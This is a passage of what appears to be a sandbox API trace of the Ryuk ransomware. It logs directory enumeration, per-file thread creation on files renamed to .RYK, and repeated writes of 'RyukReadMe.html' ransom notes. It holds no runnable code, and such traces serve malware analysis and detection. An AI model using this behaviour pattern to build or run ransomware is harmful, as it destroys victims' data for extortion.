	[0202.728] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x13c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.728] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x13c, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0202.728] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0202.730] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.731] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x13c, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0202.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0202.733] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.734] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x13c, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0202.734] FindClose (in: hFindFile=0x29ee00 | out: hFindFile=0x29ee00) returned 1
	[0202.734] SetLastError (dwErrCode=0x0) 
	[0202.734] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0202.734] GetLastError () returned 0xb7
	[0202.735] CloseHandle (hObject=0x43c) returned 1
	[0202.735] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.735] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0202.735] FindClose (in: hFindFile=0x29eda0 | out: hFindFile=0x29eda0) returned 1
	[0202.735] SetLastError (dwErrCode=0x0) 
	[0202.735] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.735] GetLastError () returned 0xb7
	[0202.735] CloseHandle (hObject=0x420) returned 1
	[0202.736] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0202.736] SetLastError (dwErrCode=0x0) 
	[0202.736] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0202.736] GetLastError () returned 0xb7
	[0202.736] CloseHandle (hObject=0x420) returned 1
	[0202.736] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0202.736] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.737] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x12c, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0202.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0202.740] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0202.741] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12c, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0202.741] SetLastError (dwErrCode=0x0) 
	[0202.741] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0202.741] GetLastError () returned 0xb7
	[0202.741] CloseHandle (hObject=0x454) returned 1
	[0202.741] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x138, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
	[0202.742] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x138, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0202.742] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x138, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0202.742] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x138, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0202.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0202.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0203.191] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.192] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x138, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0203.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0203.196] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.197] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x138, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0203.197] FindClose (in: hFindFile=0x29ee00 | out: hFindFile=0x29ee00) returned 1
	[0203.197] SetLastError (dwErrCode=0x0) 
	[0203.197] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0203.197] GetLastError () returned 0xb7
	[0203.197] CloseHandle (hObject=0x454) returned 1
	[0203.198] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.198] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x12c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.198] FindClose (in: hFindFile=0x29eda0 | out: hFindFile=0x29eda0) returned 1
	[0203.198] SetLastError (dwErrCode=0x0) 
	[0203.198] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0203.198] GetLastError () returned 0xb7
	[0203.198] CloseHandle (hObject=0x420) returned 1
	[0203.199] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x120, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.199] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x120, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.199] FindClose (in: hFindFile=0x29ece0 | out: hFindFile=0x29ece0) returned 1
	[0203.199] SetLastError (dwErrCode=0x0) 
	[0203.199] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0203.199] GetLastError () returned 0xb7
	[0203.199] CloseHandle (hObject=0x3f8) returned 1
	[0203.200] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0203.200] SetLastError (dwErrCode=0x0) 
	[0203.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0203.200] GetLastError () returned 0xb7
	[0203.200] CloseHandle (hObject=0x3f8) returned 1
	[0203.200] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0203.201] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.201] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0203.201] SetLastError (dwErrCode=0x0) 
	[0203.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0203.201] GetLastError () returned 0xb7
	[0203.201] CloseHandle (hObject=0x420) returned 1
	[0203.201] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0203.202] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.202] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0203.202] SetLastError (dwErrCode=0x0) 
	[0203.202] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0203.202] GetLastError () returned 0xb7
	[0203.202] CloseHandle (hObject=0x454) returned 1
	[0203.202] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
